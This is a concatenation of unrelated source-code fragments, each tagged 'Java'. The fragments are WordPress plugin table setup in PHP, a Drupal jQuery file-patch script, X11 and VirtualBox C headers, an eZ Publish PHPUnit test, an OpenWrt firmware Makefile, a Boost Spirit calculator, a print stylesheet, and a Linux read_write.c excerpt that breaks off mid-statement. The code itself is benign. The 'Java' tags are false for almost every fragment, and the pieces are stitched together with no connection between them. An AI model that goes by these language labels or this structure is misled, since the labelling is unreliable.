require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_TAGS . " ( `tag_id` INT UNSIGNED AUTO_INCREMENT, `name` VARCHAR(300), PRIMARY KEY (tag_id), KEY `ind_tag_name` (`name`) ) ROW_FORMAT=DYNAMIC $charset_collate;"); // test engine self::change_engine(TEACHPRESS_TAGS); } /** * Create table teachpress_relation * @param string $charset_collate * @since 5.0.0 */ public static function add_table_relation($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_RELATION . "'") == TEACHPRESS_RELATION ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_RELATION . " ( `con_id` INT UNSIGNED AUTO_INCREMENT, `pub_id` INT UNSIGNED, `tag_id` INT UNSIGNED, PRIMARY KEY (con_id), KEY `ind_pub_id` (`pub_id`), KEY `ind_tag_id` (`tag_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_RELATION); } /** * Create table teachpress_user * @param string $charset_collate * @since 5.0.0 */ public static function add_table_user($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_USER . "'") == TEACHPRESS_USER ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_USER . " ( `bookmark_id` INT UNSIGNED AUTO_INCREMENT, `pub_id` INT UNSIGNED, `user` INT UNSIGNED, PRIMARY KEY (bookmark_id), KEY `ind_pub_id` (`pub_id`), KEY `ind_user` (`user`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_USER); } /** * Create table teachpress_authors * @param string $charset_collate * @since 5.0.0 */ public static function add_table_authors($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_AUTHORS . "'") == TEACHPRESS_AUTHORS ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_AUTHORS . " ( `author_id` INT UNSIGNED AUTO_INCREMENT, `name` VARCHAR(500), `sort_name` VARCHAR(500), PRIMARY KEY (author_id), KEY `ind_sort_name` (`sort_name`) ) ROW_FORMAT=DYNAMIC $charset_collate;"); // test engine self::change_engine(TEACHPRESS_AUTHORS); } /** * Create table teachpress_rel_pub_auth * @param string $charset_collate * @since 5.0.0 */ public static function add_table_rel_pub_auth($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_REL_PUB_AUTH . "'") == TEACHPRESS_REL_PUB_AUTH ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_REL_PUB_AUTH . " ( `con_id` INT UNSIGNED AUTO_INCREMENT, `pub_id` INT UNSIGNED, `author_id` INT UNSIGNED, `is_author` INT(1), `is_editor` INT(1), PRIMARY KEY (con_id), KEY `ind_pub_id` (`pub_id`), KEY `ind_author_id` (`author_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_REL_PUB_AUTH); } /** * Add capabilities * @since 5.0.0 */ private static function add_capabilities() { // global $wp_roles; $role = $wp_roles->get_role('administrator'); if ( !$role->has_cap('use_teachpress') ) { $wp_roles->add_cap('administrator', 'use_teachpress'); } if ( !$role->has_cap('use_teachpress_courses') ) { $wp_roles->add_cap('administrator', 'use_teachpress_courses'); } } /** * charset & collate like WordPress * @since 5.0.0 */ public static function get_charset() { global $wpdb; $charset_collate = ''; if ( ! empty($wpdb->charset) ) { $charset_collate = "DEFAULT CHARACTER SET $wpdb->charset"; } if ( ! empty($wpdb->collate) ) { $charset_collate .= " COLLATE $wpdb->collate"; } $charset_collate .= " ENGINE = INNODB"; return $charset_collate; } }
Java
(function ($) { function getCsrfTokenForFullShotImage(callback) { $ .get(Drupal.url('rest/session/token')) .done(function (data) { var csrfToken = data; callback(csrfToken); }); } function patchImageFullShot(csrfToken, file, fid) { //document.getElementById('msg-up').innerHTML = 'Image marked as fullshot ....'; $.ajax({ url: Drupal.url('file/' + fid + '?_format=hal_json'), method: 'PATCH', headers: { 'Content-Type': 'application/hal+json', 'X-CSRF-Token': csrfToken }, data: JSON.stringify(file), success: function (file) { //console.log(node); //document.getElementById('msg-up').innerHTML = 'Image Fullshot started!'; swal({ title: "Full Shot", text: "Image has been selected as full shot. Scan next ID", type: "success", showCancelButton: false, confirmButtonColor: "#DD6B55", confirmButtonText: "OK", closeOnConfirm: true }); }, error: function(){ swal({ title: "Full Shot", text: "There was an error, please try again.", type: "error", showCancelButton: false, confirmButtonColor: "#DD6B55", confirmButtonText: "OK", closeOnConfirm: true }); } }); // setTimeout(function(){ // document.getElementById('msg-up').innerHTML = ''; // }, 3300); } /* * tag value 1 means tag * tag value 0 means undo tag * */ function update_image_fullshot(tag,fidinput) { var nid = fidinput; var Node_imgs = { _links: { type: { href: Drupal.url.toAbsolute(drupalSettings.path.baseUrl + 'rest/type/file/image') } }, // type: { // target_id: 'products' // }, field_full_shoot: { value:tag } }; getCsrfTokenForFullShotImage(function (csrfToken) { if (nid) { patchImageFullShot(csrfToken, Node_imgs, nid); }else{ alert('Node product found, pls refresh the page.'); } }); } $(".studio-img-fullshot").click(function () { var id = $(this).parents('span').attr('id'); console.log('fullshot'); update_image_fullshot(1,id); }); $(document).on("click",".studio-img-fullshot",function(){ var id = $(this).parents('span').attr('id'); console.log('fullshot'); update_image_fullshot(1,id); }); })(jQuery);
Java
#ifndef __DGAPROC_H #define __DGAPROC_H #include <X11/Xproto.h> #include "pixmap.h" #define DGA_CONCURRENT_ACCESS 0x00000001 #define DGA_FILL_RECT 0x00000002 #define DGA_BLIT_RECT 0x00000004 #define DGA_BLIT_RECT_TRANS 0x00000008 #define DGA_PIXMAP_AVAILABLE 0x00000010 #define DGA_INTERLACED 0x00010000 #define DGA_DOUBLESCAN 0x00020000 #define DGA_FLIP_IMMEDIATE 0x00000001 #define DGA_FLIP_RETRACE 0x00000002 #define DGA_COMPLETED 0x00000000 #define DGA_PENDING 0x00000001 #define DGA_NEED_ROOT 0x00000001 typedef struct { int num; /* A unique identifier for the mode (num > 0) */ char *name; /* name of mode given in the XF86Config */ int VSync_num; int VSync_den; int flags; /* DGA_CONCURRENT_ACCESS, etc... */ int imageWidth; /* linear accessible portion (pixels) */ int imageHeight; int pixmapWidth; /* Xlib accessible portion (pixels) */ int pixmapHeight; /* both fields ignored if no concurrent access */ int bytesPerScanline; int byteOrder; /* MSBFirst, LSBFirst */ int depth; int bitsPerPixel; unsigned long red_mask; unsigned long green_mask; unsigned long blue_mask; short visualClass; int viewportWidth; int viewportHeight; int xViewportStep; /* viewport position granularity */ int yViewportStep; int maxViewportX; /* max viewport origin */ int maxViewportY; int viewportFlags; /* types of page flipping possible */ int offset; int reserved1; int reserved2; } XDGAModeRec, *XDGAModePtr; /* DDX interface */ extern _X_EXPORT int DGASetMode(int Index, int num, XDGAModePtr mode, PixmapPtr *pPix); extern _X_EXPORT void DGASetInputMode(int Index, Bool keyboard, Bool mouse); extern _X_EXPORT void DGASelectInput(int Index, ClientPtr client, long mask); extern _X_EXPORT Bool DGAAvailable(int Index); extern _X_EXPORT Bool DGAActive(int Index); extern _X_EXPORT void DGAShutdown(void); extern _X_EXPORT void DGAInstallCmap(ColormapPtr cmap); extern _X_EXPORT int DGAGetViewportStatus(int Index); extern _X_EXPORT int DGASync(int Index); extern _X_EXPORT int DGAFillRect(int Index, int x, int y, int w, int h, unsigned long color); extern _X_EXPORT int DGABlitRect(int Index, int srcx, int srcy, int w, int h, int dstx, int dsty); extern _X_EXPORT int DGABlitTransRect(int Index, int srcx, int srcy, int w, int h, int dstx, int dsty, unsigned long color); extern _X_EXPORT int DGASetViewport(int Index, int x, int y, int mode); extern _X_EXPORT int DGAGetModes(int Index); extern _X_EXPORT int DGAGetOldDGAMode(int Index); extern _X_EXPORT int DGAGetModeInfo(int Index, XDGAModePtr mode, int num); extern _X_EXPORT Bool DGAVTSwitch(void); extern _X_EXPORT Bool DGAStealButtonEvent(DeviceIntPtr dev, int Index, int button, int is_down); extern _X_EXPORT Bool DGAStealMotionEvent(DeviceIntPtr dev, int Index, int dx, int dy); extern _X_EXPORT Bool DGAStealKeyEvent(DeviceIntPtr dev, int Index, int key_code, int is_down); extern _X_EXPORT Bool DGAOpenFramebuffer(int Index, char **name, unsigned char **mem, int *size, int *offset, int *flags); extern _X_EXPORT void DGACloseFramebuffer(int Index); extern _X_EXPORT Bool DGAChangePixmapMode(int Index, int *x, int *y, int mode); extern _X_EXPORT int DGACreateColormap(int Index, ClientPtr client, int id, int mode, int alloc); extern _X_EXPORT unsigned char DGAReqCode; extern _X_EXPORT int DGAErrorBase; extern _X_EXPORT int DGAEventBase; extern _X_EXPORT int *XDGAEventBase; #endif /* __DGAPROC_H */
Java
<?php /** * @copyright Copyright (C) eZ Systems AS. All rights reserved. * @license For full copyright and license information view LICENSE file distributed with this source code. */ namespace eZ\Publish\Core\MVC\Symfony\Matcher\Tests\ContentBased; use eZ\Publish\API\Repository\LocationService; use eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth as DepthMatcher; use eZ\Publish\API\Repository\Values\Content\Location; use eZ\Publish\API\Repository\Repository; class DepthTest extends BaseTest { /** @var \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth */ private $matcher; protected function setUp(): void { parent::setUp(); $this->matcher = new DepthMatcher(); } /** * @dataProvider matchLocationProvider * @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth::matchLocation * @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\MultipleValued::setMatchingConfig * * @param int|int[] $matchingConfig * @param \eZ\Publish\API\Repository\Values\Content\Location $location * @param bool $expectedResult */ public function testMatchLocation($matchingConfig, Location $location, $expectedResult) { $this->matcher->setMatchingConfig($matchingConfig); $this->assertSame($expectedResult, $this->matcher->matchLocation($location)); } public function matchLocationProvider() { return [ [ 1, $this->getLocationMock(['depth' => 1]), true, ], [ 1, $this->getLocationMock(['depth' => 2]), false, ], [ [1, 3], $this->getLocationMock(['depth' => 2]), false, ], [ [1, 3], $this->getLocationMock(['depth' => 3]), true, ], [ [1, 3], $this->getLocationMock(['depth' => 0]), false, ], [ [0, 1], $this->getLocationMock(['depth' => 0]), true, ], ]; } /** * @dataProvider matchContentInfoProvider * @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth::matchContentInfo * @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\MultipleValued::setMatchingConfig * @covers \eZ\Publish\Core\MVC\RepositoryAware::setRepository * * @param int|int[] $matchingConfig * @param \eZ\Publish\API\Repository\Repository $repository * @param bool $expectedResult */ public function testMatchContentInfo($matchingConfig, Repository $repository, $expectedResult) { $this->matcher->setRepository($repository); $this->matcher->setMatchingConfig($matchingConfig); $this->assertSame( $expectedResult, $this->matcher->matchContentInfo($this->getContentInfoMock(['mainLocationId' => 42])) ); } public function matchContentInfoProvider() { return [ [ 1, $this->generateRepositoryMockForDepth(1), true, ], [ 1, $this->generateRepositoryMockForDepth(2), false, ], [ [1, 3], $this->generateRepositoryMockForDepth(2), false, ], [ [1, 3], $this->generateRepositoryMockForDepth(3), true, ], ]; } /** * Returns a Repository mock configured to return the appropriate Location object with given parent location Id. * * @param int $depth * * @return \PHPUnit\Framework\MockObject\MockObject */ private function generateRepositoryMockForDepth($depth) { $locationServiceMock = $this->createMock(LocationService::class); $locationServiceMock->expects($this->once()) ->method('loadLocation') ->with(42) ->will( $this->returnValue( $this->getLocationMock(['depth' => $depth]) ) ); $repository = $this->getRepositoryMock(); $repository ->expects($this->once()) ->method('getLocationService') ->will($this->returnValue($locationServiceMock)); $repository ->expects($this->once()) ->method('getPermissionResolver') ->will($this->returnValue($this->getPermissionResolverMock())); return $repository; } }
Java
# # Copyright (C) 2006-2012 OpenWrt.org # # This is free software, licensed under the GNU General Public License v2. # See /LICENSE for more information. # include $(TOPDIR)/rules.mk include $(INCLUDE_DIR)/image.mk define Build/Clean $(MAKE) -C lzma-loader clean endef define Image/Prepare cat $(KDIR)/vmlinux | $(STAGING_DIR_HOST)/bin/lzma e -si -so -eos -lc1 -lp2 -pb2 > $(KDIR)/vmlinux.lzma rm -f $(KDIR)/loader.gz $(MAKE) -C lzma-loader \ BUILD_DIR="$(KDIR)" \ TARGET="$(KDIR)" \ clean install echo -ne "\\x00" >> $(KDIR)/loader.gz rm -f $(KDIR)/fs_mark echo -ne '\xde\xad\xc0\xde' > $(KDIR)/fs_mark $(call prepare_generic_squashfs,$(KDIR)/fs_mark) endef define Image/Build/wgt634u dd if=$(KDIR)/loader.elf of=$(BIN_DIR)/openwrt-wgt634u-$(2).bin bs=131072 conv=sync cat $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx >> $(BIN_DIR)/openwrt-wgt634u-$(2).bin endef define Image/Build/dwl3150 cp $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-dwl3150-$(2).bin echo "BCM-5352-2050-0000000-01" >> $(BIN_DIR)/openwrt-dwl3150-$(2).bin endef define Image/Build/CyberTAN $(STAGING_DIR_HOST)/bin/addpattern -4 -p $(3) -v v$(4) -i $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx -o $(BIN_DIR)/openwrt-$(2)-$(5).bin $(if $(6),-s $(6)) endef define Image/Build/CyberTAN2 $(STAGING_DIR_HOST)/bin/addpattern -4 -p $(3) -v v$(4) -i $(BIN_DIR)/openwrt-$(2)-$(5).noheader.bin -o $(BIN_DIR)/openwrt-$(2)-$(5).bin $(if $(6),-s $(6)) endef define Image/Build/CyberTANHead $(STAGING_DIR_HOST)/bin/addpattern -5 -p $(3) -v v$(4) -i /dev/null -o $(KDIR)/openwrt-$(2)-header.bin $(if $(6),-s $(6)) endef define Image/Build/Motorola $(STAGING_DIR_HOST)/bin/motorola-bin -$(3) $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-$(2)-$(4).bin endef define Image/Build/USR $(STAGING_DIR_HOST)/bin/trx2usr $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-$(2)-$(3).bin endef define Image/Build/Edi $(STAGING_DIR_HOST)/bin/trx2edips $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-$(2)-$(3).bin endef define trxalign/jffs2-128k -a 0x20000 -f $(KDIR)/root.$(1) endef define trxalign/jffs2-64k -a 0x10000 -f $(KDIR)/root.$(1) endef define trxalign/squashfs -a 1024 -f $(KDIR)/root.$(1) $(if $(2),-f $(2)) -a 0x10000 -A $(KDIR)/fs_mark endef define Image/Build/trxV2 $(call Image/Build/CyberTANHead,$(1),$(2),$(3),$(4),$(5),$(if $(6),$(6))) $(STAGING_DIR_HOST)/bin/trx -2 -o $(BIN_DIR)/openwrt-$(2)-$(5).noheader.bin \ -f $(KDIR)/loader.gz -f $(KDIR)/vmlinux.lzma \ $(call trxalign/$(1),$(1),$(KDIR)/openwrt-$(2)-header.bin) $(call Image/Build/CyberTAN2,$(1),$(2),$(3),$(4),$(5),$(if $(6),$(6))) endef define Image/Build/jffs2-128k $(call Image/Build/CyberTAN,$(1),wrt54gs,W54S,4.80.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrtsl54gs,W54U,2.08.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/trxV2,$(1),wrt54g3gv2-vf,3G2V,3.00.24,$(patsubst jffs2-%,jffs2,$(1)),6) $(call Image/Build/wgt634u,$(1),$(patsubst jffs2-%,jffs2,$(1))) endef define Image/Build/jffs2-64k $(call Image/Build/CyberTAN,$(1),wrt54g3g,W54F,2.20.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt54g3g-em,W3GN,2.20.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt54g,W54G,4.71.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt54gs_v4,W54s,1.09.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt150n,N150,1.51.3,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt300n_v1,EWCB,1.03.6,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt300n_v11,EWC2,1.51.2,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt350n_v1,EWCG,1.04.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/CyberTAN,$(1),wrt610n_v1,610N,1.0.1,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/CyberTAN,$(1),wrt610n_v2,610N,2.0.0,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/CyberTAN,$(1),e3000_v1,61XN,1.0.3,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/CyberTAN,$(1),e3200_v1,3200,1.0.1,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/Motorola,$(1),wa840g,2,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/Motorola,$(1),we800g,3,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/Edi,$(1),ps1208mfg,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/dwl3150,$(1),$(patsubst jffs2-%,jffs2,$(1))) endef define Image/Build/squashfs $(call Image/Build/jffs2-64k,$(1)) $(call Image/Build/jffs2-128k,$(1)) endef define Image/Build/Initramfs $(STAGING_DIR_HOST)/bin/trx -o $(BIN_DIR)/$(IMG_PREFIX)-initramfs.trx -f $(KDIR)/loader.gz -f $(KDIR)/vmlinux.lzma endef define Image/Build/Chk $(STAGING_DIR_HOST)/bin/mkchkimg -o $(BIN_DIR)/openwrt-$(2)-$(5).chk -k $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx -b $(3) -r $(4) endef define Image/Build $(STAGING_DIR_HOST)/bin/trx -o $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx \ -f $(KDIR)/loader.gz -f $(KDIR)/vmlinux.lzma \ $(call trxalign/$(1),$(1)) $(call Image/Build/$(1),$(1)) $(call Image/Build/Motorola,$(1),wr850g,1,$(1)) $(call Image/Build/USR,$(1),usr5461,$(1)) # $(call Image/Build/Chk,$(1),wgr614_v8,U12H072T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wgr614_v9,U12H094T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wndr3300,U12H093T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/Chk,$(1),wndr3400_v1,U12H155T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wndr3400_v2,U12H187T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wndr3400_vcna,U12H155T01_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wndr4000,U12H181T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) $(call Image/Build/Chk,$(1),wnr834b_v2,U12H081T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wnr2000v2,U12H114T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wnr3500L,U12H136T99_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wnr3500U,U12H136T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wnr3500v2,U12H127T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) # $(call Image/Build/Chk,$(1),wnr3500v2_VC,U12H127T70_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1))) endef $(eval $(call BuildImage))
Java
/*============================================================================= Copyright (c) 2002-2003 Joel de Guzman http://spirit.sourceforge.net/ Use, modification and distribution is subject to the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ //////////////////////////////////////////////////////////////////////////// // // Full calculator example demonstrating Phoenix // This is discussed in the "Closures" chapter in the Spirit User's Guide. // // [ JDG 6/29/2002 ] // //////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include <boost/spirit/core.hpp> #include <boost/spirit/attribute.hpp> #include <boost/spirit/phoenix/functions.hpp> #include <iostream> #include <string> #include "Main.h" //#include "bigfp.h" //////////////////////////////////////////////////////////////////////////// using namespace std; using namespace boost::spirit; using namespace phoenix; //////////////////////////////////////////////////////////////////////////// // // Our calculator grammar using phoenix to do the semantics // // Note: The top rule propagates the expression result (value) upwards // to the calculator grammar self.val closure member which is // then visible outside the grammar (i.e. since self.val is the // member1 of the closure, it becomes the attribute passed by // the calculator to an attached semantic action. See the // driver code that uses the calculator below). // //////////////////////////////////////////////////////////////////////////// struct calc_closure : boost::spirit::closure<calc_closure, double> { member1 val; }; struct pow_ { template <typename X, typename Y> struct result { typedef X type; }; template <typename X, typename Y> X operator()(X x, Y y) const { using namespace std; return pow(x, y); } }; // Notice how power(x, y) is lazily implemented using Phoenix function. function<pow_> power; struct calculator : public grammar<calculator, calc_closure::context_t> { template <typename ScannerT> struct definition { definition(calculator const& self) { top = expression[self.val = arg1]; expression = term[expression.val = arg1] >> *( ('+' >> term[expression.val += arg1]) | ('-' >> term[expression.val -= arg1]) ) ; term = factor[term.val = arg1] >> *( ('*' >> factor[term.val *= arg1]) | ('/' >> factor[term.val /= arg1]) ) ; factor = ureal_p[factor.val = arg1] | '(' >> expression[factor.val = arg1] >> ')' | ('-' >> factor[factor.val = -arg1]) | ('+' >> factor[factor.val = arg1]) ; } // const uint_parser<bigint, 10, 1, -1> bigint_parser; typedef rule<ScannerT, calc_closure::context_t> rule_t; rule_t expression, term, factor; rule<ScannerT> top; rule<ScannerT> const& start() const { return top; } }; }; bool DoCalculation(const TCHAR* str, double& result) { // Our parser calculator calc; double n = 0; parse_info<const wchar_t *> info = parse(str, calc[var(n) = arg1], space_p); if (info.full) { result = n; return true; } return false; }
Java
/** @file * PDM - Pluggable Device Manager, Common Instance Macros. */ /* * Copyright (C) 2006-2015 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. * * The contents of this file may alternatively be used under the terms * of the Common Development and Distribution License Version 1.0 * (CDDL) only, as it comes in the "COPYING.CDDL" file of the * VirtualBox OSE distribution, in which case the provisions of the * CDDL are applicable instead of those of the GPL. * * You may elect to license modified versions of this file under the * terms and conditions of either the GPL or the CDDL or both. */ #ifndef ___VBox_vmm_pdmins_h #define ___VBox_vmm_pdmins_h /** @defgroup grp_pdm_ins Common PDM Instance Macros * @ingroup grp_pdm * @{ */ /** @def PDMBOTHCBDECL * Macro for declaring a callback which is static in HC and exported in GC. */ #if defined(IN_RC) || defined(IN_RING0) # ifdef __cplusplus # define PDMBOTHCBDECL(type) extern "C" DECLEXPORT(type) # else # define PDMBOTHCBDECL(type) DECLEXPORT(type) # endif #else # define PDMBOTHCBDECL(type) static DECLCALLBACK(type) #endif /** @def PDMINS_2_DATA * Converts a PDM Device, USB Device, or Driver instance pointer to a pointer to the instance data. */ #define PDMINS_2_DATA(pIns, type) ( (type)(void *)&(pIns)->achInstanceData[0] ) /** @def PDMINS_2_DATA_RCPTR * Converts a PDM Device, USB Device, or Driver instance pointer to a RC pointer to the instance data. */ #define PDMINS_2_DATA_RCPTR(pIns) ( (pIns)->pvInstanceDataRC ) /** @def PDMINS_2_DATA_R3PTR * Converts a PDM Device, USB Device, or Driver instance pointer to a HC pointer to the instance data. */ #define PDMINS_2_DATA_R3PTR(pIns) ( (pIns)->pvInstanceDataR3 ) /** @def PDMINS_2_DATA_R0PTR * Converts a PDM Device, USB Device, or Driver instance pointer to a R0 pointer to the instance data. */ #define PDMINS_2_DATA_R0PTR(pIns) ( (pIns)->pvInstanceDataR0 ) /** @} */ #endif
Java
/* ---------------------------------------------------------------------------------------------------------- This website template was downloaded from http://www.nuviotemplates.com - visit us for more templates Structure: display; position; float; z-index; overflow; width; height; margin; padding; border; background; align; font; ---------------------------------------------------------------------------------------------------------- */ body {border:0; margin:0; padding:0; font-size:12pt} a {color:#000; text-decoration:none;} h1, h2, h3 {page-break-after:avoid; page-break-inside:avoid;} table {border-collapse: collapse; border-width:1px; border-style:solid;} th, td {display:table-cell; border-width:1px; border-style:solid;} hr {display:block; height:2px; margin:0; padding:0; background:#000; border:0 solid #000; color:#000;} blockquote {page-break-inside:avoid} ul, ol, dl {page-break-before:avoid} .noprint {display:none;}
Java
/* * linux/fs/read_write.c * * Copyright (C) 1991, 1992 Linus Torvalds */ #include <linux/slab.h> #include <linux/stat.h> #include <linux/fcntl.h> #include <linux/file.h> #include <linux/uio.h> #include <linux/smp_lock.h> #include <linux/fsnotify.h> #include <linux/security.h> #include <linux/module.h> #include <linux/syscalls.h> #include <linux/pagemap.h> #include <linux/splice.h> #include <trace/fs.h> #include "read_write.h" #include <asm/uaccess.h> #include <asm/unistd.h> const struct file_operations generic_ro_fops = { .llseek = generic_file_llseek, .read = do_sync_read, .aio_read = generic_file_aio_read, .mmap = generic_file_readonly_mmap, .splice_read = generic_file_splice_read, }; EXPORT_SYMBOL(generic_ro_fops); /** * generic_file_llseek_unlocked - lockless generic llseek implementation * @file: file structure to seek on * @offset: file offset to seek to * @origin: type of seek * * Updates the file offset to the value specified by @offset and @origin. * Locking must be provided by the caller. */ loff_t generic_file_llseek_unlocked(struct file *file, loff_t offset, int origin) { struct inode *inode = file->f_mapping->host; switch (origin) { case SEEK_END: offset += inode->i_size; break; case SEEK_CUR: offset += file->f_pos; break; } if (offset < 0 || offset > inode->i_sb->s_maxbytes) return -EINVAL; /* Special lock needed here? */ if (offset != file->f_pos) { file->f_pos = offset; file->f_version = 0; } return offset; } EXPORT_SYMBOL(generic_file_llseek_unlocked); /** * generic_file_llseek - generic llseek implementation for regular files * @file: file structure to seek on * @offset: file offset to seek to * @origin: type of seek * * This is a generic implemenation of ->llseek useable for all normal local * filesystems. It just updates the file offset to the value specified by * @offset and @origin under i_mutex. */ loff_t generic_file_llseek(struct file *file, loff_t offset, int origin) { loff_t rval; mutex_lock(&file->f_dentry->d_inode->i_mutex); rval = generic_file_llseek_unlocked(file, offset, origin); mutex_unlock(&file->f_dentry->d_inode->i_mutex); return rval; } EXPORT_SYMBOL(generic_file_llseek); loff_t no_llseek(struct file *file, loff_t offset, int origin) { return -ESPIPE; } EXPORT_SYMBOL(no_llseek); loff_t default_llseek(struct file *file, loff_t offset, int origin) { loff_t retval; lock_kernel(); switch (origin) { case SEEK_END: offset += i_size_read(file->f_path.dentry->d_inode); break; case SEEK_CUR: offset += file->f_pos; } retval = -EINVAL; if (offset >= 0) { if (offset != file->f_pos) { file->f_pos = offset; file->f_version = 0; } retval = offset; } unlock_kernel(); return retval; } EXPORT_SYMBOL(default_llseek); loff_t vfs_llseek(struct file *file, loff_t offset, int origin) { loff_t (*fn)(struct file *, loff_t, int); fn = no_llseek; if (file->f_mode & FMODE_LSEEK) { fn = default_llseek; if (file->f_op && file->f_op->llseek) fn = file->f_op->llseek; } return fn(file, offset, origin); } EXPORT_SYMBOL(vfs_llseek); SYSCALL_DEFINE3(lseek, unsigned int, fd, off_t, offset, unsigned int, origin) { off_t retval; struct file * file; int fput_needed; retval = -EBADF; file = fget_light(fd, &fput_needed); if (!file) goto bad; retval = -EINVAL; if (origin <= SEEK_MAX) { loff_t res = vfs_llseek(file, offset, origin); retval = res; if (res != (loff_t)retval) retval = -EOVERFLOW; /* LFS: should only happen on 32 bit platforms */ } trace_fs_lseek(fd, offset, origin); fput_light(file, fput_needed); bad: return retval; } #ifdef __ARCH_WANT_SYS_LLSEEK SYSCALL_DEFINE5(llseek, unsigned int, fd, unsigned long, offset_high, unsigned long, offset_low, loff_t __user *, result, unsigned int, origin) { int retval; struct file * file; loff_t offset; int fput_needed; retval = -EBADF; file = fget_light(fd, &fput_needed); if (!file) goto bad; retval = -EINVAL; if (origin > SEEK_MAX) goto out_putf; offset = vfs_llseek(file, ((loff_t) offset_high << 32) | offset_low, origin); trace_fs_llseek(fd, offset, origin); retval = (int)offset; if (offset >= 0) { retval = -EFAULT; if (!copy_to_user(result, &offset, sizeof(offset))) retval = 0; } out_putf: fput_light(file, fput_needed); bad: return retval; } #endif /* * rw_verify_area doesn't like huge counts. We limit * them to something that fits in "int" so that others * won't have to do range checks all the time. */ #define MAX_RW_COUNT (INT_MAX & PAGE_CACHE_MASK) int rw_verify_area(int read_write, struct file *file, loff_t *ppos, size_t count) { struct inode *inode; loff_t pos; int retval = -EINVAL; inode = file->f_path.dentry->d_inode; if (unlikely((ssize_t) count < 0)) return retval; pos = *ppos; if (unlikely((pos < 0) || (loff_t) (pos + count) < 0)) return retval; if (unlikely(inode->i_flock && mandatory_lock(inode))) { retval = locks_mandatory_area( read_write == READ ? FLOCK_VERIFY_READ : FLOCK_VERIFY_WRITE, inode, file, pos, count); if (retval < 0) return retval; } retval = 